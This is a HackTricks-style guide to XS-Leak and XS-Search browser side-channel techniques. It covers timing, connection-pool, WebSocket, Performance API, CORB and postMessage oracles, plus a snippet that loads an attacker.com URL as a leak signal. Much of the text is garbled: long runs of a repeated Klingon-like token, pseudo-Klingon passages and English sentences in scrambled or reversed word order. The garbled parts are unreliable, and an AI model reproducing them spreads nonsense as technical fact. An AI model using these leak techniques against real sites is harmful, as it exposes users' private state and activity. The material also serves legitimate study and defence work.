88 KiB
XS-Search/XS-Leaks
Trickest vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh v
Timing Based techniques
QIb techniques: Qa'vamDI' web page pong vItlhutlhmeH pagh web page potlhmoHwI'pu' pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh vItlhutlhmeH pagh v
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
In this case if example.com/404
is not found attacker.com/?error
will be loaded.
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: The performance.now() API can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as PerformanceLongTaskTiming API which can identify tasks running for more than 50ms.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events another example in:
{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}
Onload Timing + Forced Heavy Task
This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: The SharedArrayBuffer clock can be used to measure how much time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
The time taken to fetch a resource can be measured by utilizing the unload
and beforeunload
events. The beforeunload
event is fired when the browser is about to navigate to a new page, while the unload
event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the duration the browser spent fetching the resource.
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: The performance.now() API can be used to measure how much time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
It has been observed that in the absence of Framing Protections, the time required for a page and its subresources to load over the network can be measured by an attacker. This measurement is typically possible because the onload
handler of an iframe is triggered only after the completion of resource loading and JavaScript execution. To bypass the variability introduced by script execution, an attacker might employ the sandbox
attribute within the <iframe>
. The inclusion of this attribute restricts numerous functionalities, notably the execution of JavaScript, thereby facilitating a measurement that is predominantly influenced by network performance.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
- Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: If the page is returning the sensitive content, or a content that can be controlled by the user. The user could set valid JS code in the negative case, an load each try inside
<script>
tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed. - Code Example:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: Cross-Origin Read Blocking (CORB) is a security measure that prevents web pages from loading certain sensitive cross-origin resources to protect against attacks like Spectre. However, attackers can exploit its protective behavior. When a response subject to CORB returns a CORB protected
Content-Type
withnosniff
and a2xx
status code, CORB strips the response's body and headers. Attackers observing this can infer the combination of the status code (indicating success or error) and theContent-Type
(denoting whether it's protected by CORB), leading to potential information leakage. - Code Example:
Check the more information link for more information about the attack.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: Leak sensitive data from the id or name attribute.
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
It's possible to load a page inside an iframe and use the #id_value
to make the page focus on the element of the iframe with indicated if, then if an onblur
signal is triggered, the ID element exists.
You can perform the same attack with portal
tags.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
- Code Example:
Any code listening for all postMessages.
Applications frequently utilize postMessage
broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin
parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Global Limits Techniques
WebSocket API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Exhausting the WebSocket connection limit leaks the number of WebSocket connections of a cross-origin page.
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Detect Payment Request because only one can be active at a time.
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
XS-Leak ghItlh 'ej cross-origin page payment request initiates detect 'e'.
'ej payment request active time one only because, Payment Request API website target using, API this use attempt further any fail, exception JavaScript cause. exploit attacker periodically attempting API UI Payment show to. exception causes attempt one, currently website target using. creation after UI closing immediately these hide can attacker.
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: Measure execution time of a web abusing the single-threaded JS event loop.
- Code Example:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
JavaScript event loop single-threaded operates concurrency model, execute task one only can. execute takes origin different from code long how gauge exploited be can characteristic. loop event own code execution time measure attacker events dispatching continuously by properties fixed with events these pool event empty is when processed be. pool event same the to events dispatching also origins other if, tasks own their execution of delays observing by execute to events external these for time infer can attacker. delays in tasks own their execution of impact the origin's that activities that of time the inference This information sensitive exposing potentially, origins different from code time execution reveal loop event monitoring method This.
{% hint style="warning" %} timing execution an timing execution an eliminate to possible It's measurements precise more obtain factors network eliminate to possible It's page by used resources the loading by, before it loading. {% endhint %}
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing how long it takes for the event loop to become available again. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript's event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread.
- Code Example:
technique loop event blocking by time execution measure to method One loop event blocking intentionally involves operation web a of time execution operation web the of time long how timing and again available become loop event the for takes it long how timing and loop event the in executing were tasks the of duration the infer can one execution code subsequent for takes it time the monitoring and, thread same the sharing operations other of behavior or performance the into executed are tasks where, loop event JavaScript's nature single-threaded the leverages This.
{% hint style="warning" %} timing execution an timing execution an eliminate to possible It's measurements precise more obtain factors network eliminate to possible It's page by used resources the loading by, before it loading. {% endhint %}
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
- Code Example:
{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}
browsers sockets concurrent number the on limit impose to compelled are browsers, communication server for sockets utilize. limitation this exploit can Attackers steps following the through:
- limit socket browser's the Ascertain, sockets global 256, instance, hosts various to requests 255 initiating, open the keep designed, complete without open connections the 255 occupy 2 steps as per use will requests 255 the that given, period extended an for sockets 255 the occupy to requests 255 initiating by 2 step as per engaged still are sockets, step 3 from released be one available becomes socket newly any, step 3 from released be must socket available newly that implying, engaged still are sockets 255 the that, socket target the (256th the) related activity network the about information timing attacker the provides that period blocking the during loop event the in executing were tasks the of duration the infer can one complete to request the for required time the that linked thus.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (gener
Performance API Techniques
Performance API
jatlh web applications performance metrics jenmoH, Resource Timing API
jenmoH. Resource Timing API jenmoH network request timings, chay' requests duration, monitoring qar'a'wI'pu' 'e' vItlhutlh. QaStaHvIS, servers 'e' Timing-Allow-Origin: *
header, transfer size, domain lookup time, vItlhutlh.
vItlhutlh data, performance.getEntries
je performance.getEntriesByName
methodmey, performance-related information comprehensive view vItlhutlh. QaStaHvIS, API execution times measurement, timestamps obtained from performance.now()
difference calculating, jenmoH. 'ach, browser Chrome, 'ej precision performance.now()
milliseconds, 'oH, timing measurements granularity vItlhutlh.
timing measurements beyond, Performance API security-related insights leverage vItlhutlh. pagh Chrome 'e' performance
object pages presence, X-Frame-Options
application vItlhutlh. pagh, 'ej page blocked rendering frame 'e' X-Frame-Options
vItlhutlh, 'e' performance
object recorded, page's framing policies subtle clue vItlhutlh.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: request errors result, resource timing entry create.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
HTTP response status codes chay' differentiate vItlhutlh, request errors result, performance entry create.
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: browser bug, requests result errors loaded twice.
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
previous technique, browser bug GC, resources loaded twice fail load result. Performance API multiple entries result, detect vItlhutlh.
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: request errors result, merge vItlhutlh.
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
technique table mentioned paper, technique description found. 'ach, source code checking vItlhutlh https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Empty responses do not create resource timing entries.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Attacker request empty HTTP response body result detect vItlhutlh, empty pages do not create performance entry some browsers.
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: XSS Auditor Security Assertions, attackers specific webpage elements detect, crafted payloads trigger auditor's filtering mechanism.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Security Assertions (SA), XSS Auditor, Cross-Site Scripting (XSS) attacks prevent intended, paradoxically sensitive information leak exploit. Built-in feature Google Chrome (GC) removed, SA present. 2013, Braun 'ej Heiderich demonstrated XSS Auditor inadvertently block legitimate scripts, false positives result. Researchers techniques develop information extract, specific content detect cross-origin pages, XS-Leaks concept, Terada initially report, Heyes blog post elaborate. Techniques GC XSS Auditor specific, SA blocked pages Performance API entries generate not, sensitive information leak method reveal.
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: Resource with X-Frame-Options header does not create resource timing entry.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Page iframe rendered not allowed, performance entry create not. As a result, attacker response header X-Frame-Options
detect.
Same embed tag.
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Downloads do not create resource timing entries in the Performance API.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
XS-Leak described similar, resource downloaded ContentDisposition header result, performance entry create not. Technique major browsers work.
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Resource timing entry leaks the start time of a redirect.
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
